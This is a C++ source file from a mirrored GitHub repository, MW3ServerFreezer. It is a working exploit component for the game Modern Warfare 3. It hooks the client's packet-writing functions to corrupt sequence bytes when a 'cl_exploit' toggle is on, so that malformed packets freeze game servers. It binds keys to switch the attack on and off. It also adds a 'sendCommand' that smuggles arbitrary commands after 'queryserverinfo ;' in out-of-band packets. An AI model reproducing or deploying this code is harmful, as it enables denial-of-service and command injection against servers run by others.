mirror of
https://github.com/diamante0018/MW3ServerFreezer.git
synced 2025-04-19 19:52:53 +00:00
129 lines
4.1 KiB
C++
129 lines
4.1 KiB
C++
#include <std_include.hpp>
|
|
#include "loader/component_loader.hpp"
|
|
|
|
#include <utils/hook.hpp>
|
|
|
|
#include "command.hpp"
|
|
#include "key_catcher.hpp"
|
|
#include "console.hpp"
|
|
|
|
namespace exploit {
|
|
game::dvar_t* cl_exploit;
|
|
|
|
/*
|
|
* void CL_Netchan_Transmit(netchan_t* chan, unsigned char* data, int a3)
|
|
* A brief description of data: the first few bytes contain information from
|
|
* clientConnection_t structure Offset 0: ServerID Size : 1 Offset 1:
|
|
* serverMessageSequence Size: 4 Offset 5: serverCommandSequence Size: 4 One
|
|
* clean way of sending invalid data to the server is to hook the functions
|
|
* that write the info to the packet Credit:
|
|
* https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
|
|
*/
|
|
|
|
/*
|
|
* On the server side the msg_t structure processed as follows:
|
|
* The first 4 bytes are read but not processed (offset 0)
|
|
* The following 2 bytes are read but not processed (offset 4)
|
|
* The following 1 byte is read and corresponds to the client_t.serverId (offset
|
|
* 6) The following 4 bytes are read and correspond to the
|
|
* client_t.messageAcknowledge (offset 7) The following 4 bytes are read and
|
|
* correspond to the client_t.reliableAcknowledge (offset 11)
|
|
*/
|
|
|
|
/**
|
|
* MSG_WriteLong stub which writes clc.serverMessageSequence.
|
|
* @param[out] msg The message to write to.
|
|
* @param[in] data The data to modify
|
|
*/
|
|
void write_message_sequence(game::msg_t* msg, int data) {
|
|
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
|
|
msg->overflowed = TRUE;
|
|
return;
|
|
}
|
|
|
|
if (cl_exploit->current.enabled) {
|
|
data = (data & 0xFFFFFF00) | 0xAAu;
|
|
}
|
|
|
|
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
|
|
*dest = data;
|
|
msg->cursize += sizeof(int);
|
|
}
|
|
|
|
/**
|
|
* MSG_WriteLong stub which writes clc.serverCommandSequence
|
|
* Tekno gods will check in their Netchan_Process stub this byte is 0. If it is
|
|
* not 0 it will trigger their patch.
|
|
* @param[out] msg The message to write to.
|
|
* @param[in] data The data to modify
|
|
*/
|
|
void write_command_sequence(game::msg_t* msg, int data) {
|
|
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
|
|
msg->overflowed = TRUE;
|
|
return;
|
|
}
|
|
|
|
if (cl_exploit->current.enabled) {
|
|
data = (data & 0x00FFFFFF) | (0x80u << 24);
|
|
}
|
|
|
|
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
|
|
*dest = data;
|
|
msg->cursize += sizeof(int);
|
|
}
|
|
|
|
class component final : public component_interface {
|
|
public:
|
|
void post_unpack() override {
|
|
cl_exploit = game::Dvar_RegisterBool("cl_exploit", false, game::DVAR_NONE,
|
|
"Enable server freezer");
|
|
|
|
add_exploit_commands();
|
|
add_key_hooks();
|
|
|
|
utils::hook(0x420B76, HOOK_CAST(write_message_sequence), HOOK_CALL)
|
|
.install() // hook*
|
|
->quick();
|
|
utils::hook(0x420B86, HOOK_CAST(write_command_sequence), HOOK_CALL)
|
|
.install() // hook*
|
|
->quick();
|
|
}
|
|
|
|
private:
|
|
static void add_key_hooks() {
|
|
key_catcher::on_key_press(
|
|
"O", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
|
|
game::Dvar_SetBool(cl_exploit, true);
|
|
console::info("Enabled cl_exploit");
|
|
});
|
|
|
|
key_catcher::on_key_press(
|
|
"L", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
|
|
game::Dvar_SetBool(cl_exploit, false);
|
|
console::info("Disabled cl_exploit");
|
|
});
|
|
|
|
key_catcher::on_key_press(
|
|
"K", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
|
|
command::execute("disconnect");
|
|
});
|
|
}
|
|
|
|
static void add_exploit_commands() {
|
|
command::add(
|
|
"sendCommand", []([[maybe_unused]] const command::params& params) {
|
|
if (params.size() < 2)
|
|
return;
|
|
|
|
const auto cmd = std::format("queryserverinfo ;{}", params.join(1));
|
|
console::info("Sending OOB packet {}", cmd);
|
|
game::NET_OutOfBandPrint(game::NS_SERVER,
|
|
game::localClientConnection->serverAddress,
|
|
cmd.data());
|
|
});
|
|
}
|
|
};
|
|
} // namespace exploit
|
|
|
|
REGISTER_COMPONENT(exploit::component)
|